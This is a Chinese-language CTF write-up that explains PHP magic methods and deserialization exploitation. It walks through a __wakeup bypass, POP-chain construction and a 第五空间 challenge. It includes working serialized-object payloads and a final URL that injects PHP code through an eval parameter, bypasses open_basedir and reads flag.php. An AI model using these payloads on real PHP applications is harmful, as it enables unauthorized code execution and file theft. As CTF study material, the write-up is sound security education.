前言:
开学的第一周,打了第五空间的比赛,又一次遇到了php反序列化的题目于是打算好好总结一波。
php中序列化和反序列化常见的魔术方法:
1 | /** |
通过借助官网的例子进一步加深理解:
1 | class Ljie{ |
通过上面的类创建一个实例,并对他没有的元素进行赋值,触发set方法,通过访问定义的不可访问的元素触发get方法,相应的触发其他的方法如下:
1 | echo "<pre>\n"; |
相应的结果如下:
1 | Setting 'a' to '1' |
call方法和callStatic方法的调用例子:
1 | class LjieTest{ |
运行的结果如下:
1 | runTest |
可以自己编写一个例子来实现2333:
1 | class Lyu{ |
可以看到get方法和call方法成功调用:
1 | isTrueLyu2333 |
php的序列化和反序列化之sleep()和wakeup():
1 | /** |
编写测试的类和方法:
1 | class LjieLyu{ |
测试的结果如下:
1 | name: Lyu, age: 20, sex: fmale |
通过反序列化读取敏感文件:
1 | class LyuLjie{ |
分析如下:
1: destruct方法中的show_source()会读取file文件内容,我们可以利用来读取flag.php文件,同时可以用CVE-2017-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的个数会跳个wakeup的执行来绕过。
2: 构造序列化对象: O:5:”SoFun”:1:{S:7:”\00*\00file”;s:8:”flag.php”;}
3: 绕过__wakeup: O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
4: 注意:因为file是protect属性,所以需要加上\00*\00。再base64编码。
payload:
1 | Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ== |
实战训练pop链的利用:
1 |
|
可以看到需要执行GetFlag类中的get_flag()函数,这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。
1: string1中的tostring存在$this->str1->get_flag(),分析一下要自动调用tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。
2: 发现类func中存在invoke方法执行了字符串拼接,需要把func当成函数使用自动调用invoke然后把$mod1赋值为string1的对象与$mod2拼接。
3: 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
4: 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
5: 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为start_gg类的对象,等待__destruct()自动调用。
payload:
1 | <?php |
然后得到flag。
第五空间的一道php反序列化题目:
通过index.phps文件泄露拿到源码:
1 |
|
首先我们先构造反序列化触发__wakeup方法得到第一层:
1 | class Test{ |
题目告诉我们step 1: read source,get phpinfo and read it carefullt那么phpinfo()必然有东西,不然没有Welcome类没有办法调用say_hello()方法从而利用__call魔术方法
看到phpinfo()中有opcapache.preload他是定义预加载文件的,是php7.4提出的新特性,拿到 tis_is_a_preload.php:
1 |
|
构造最终的pop链反序列化触发__call()魔法方法执行eval():
1 | class Test |
用下面的payload进行访问:
1 | index.php?foo=O%3A13%3A"Welcome_again"%3A2%3A%7Bs%3A7%3A"willing"%3Bi%3A1%3Bs%3A6% 3A"action"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A8%3A"securuty"%3Ba%3A1%3A%7Bs%3A9%3A"say_hello"%3Bs%3A3%3A"123"%3B%7D%7D%7D&dangerous=1;echo%20readfile(%27/var/html/www/flag.php%27); |
但是没有读取到文件,猜测是open_basedir()限制了,可以用下列的方式绕过:
1 | ini_set('open_basedir','/tmp'); |
最终的payload:
1 | /index.php?foo=O%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A8%3A%22securuty%22%3Ba%3A1%3A%7Bs%3A9%3A%22say_hello%22%3Bs%3A3%3A%22123%22%3B%7D%7D%7D&dangerous=1;echo%201;ini_set('open_basedir','/tmp');mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/var/www/flag.php')); |
成功拿到flag的地址:
1 | ./flagishere/e0822e0eb424e4bde0d757c164f302fb.php |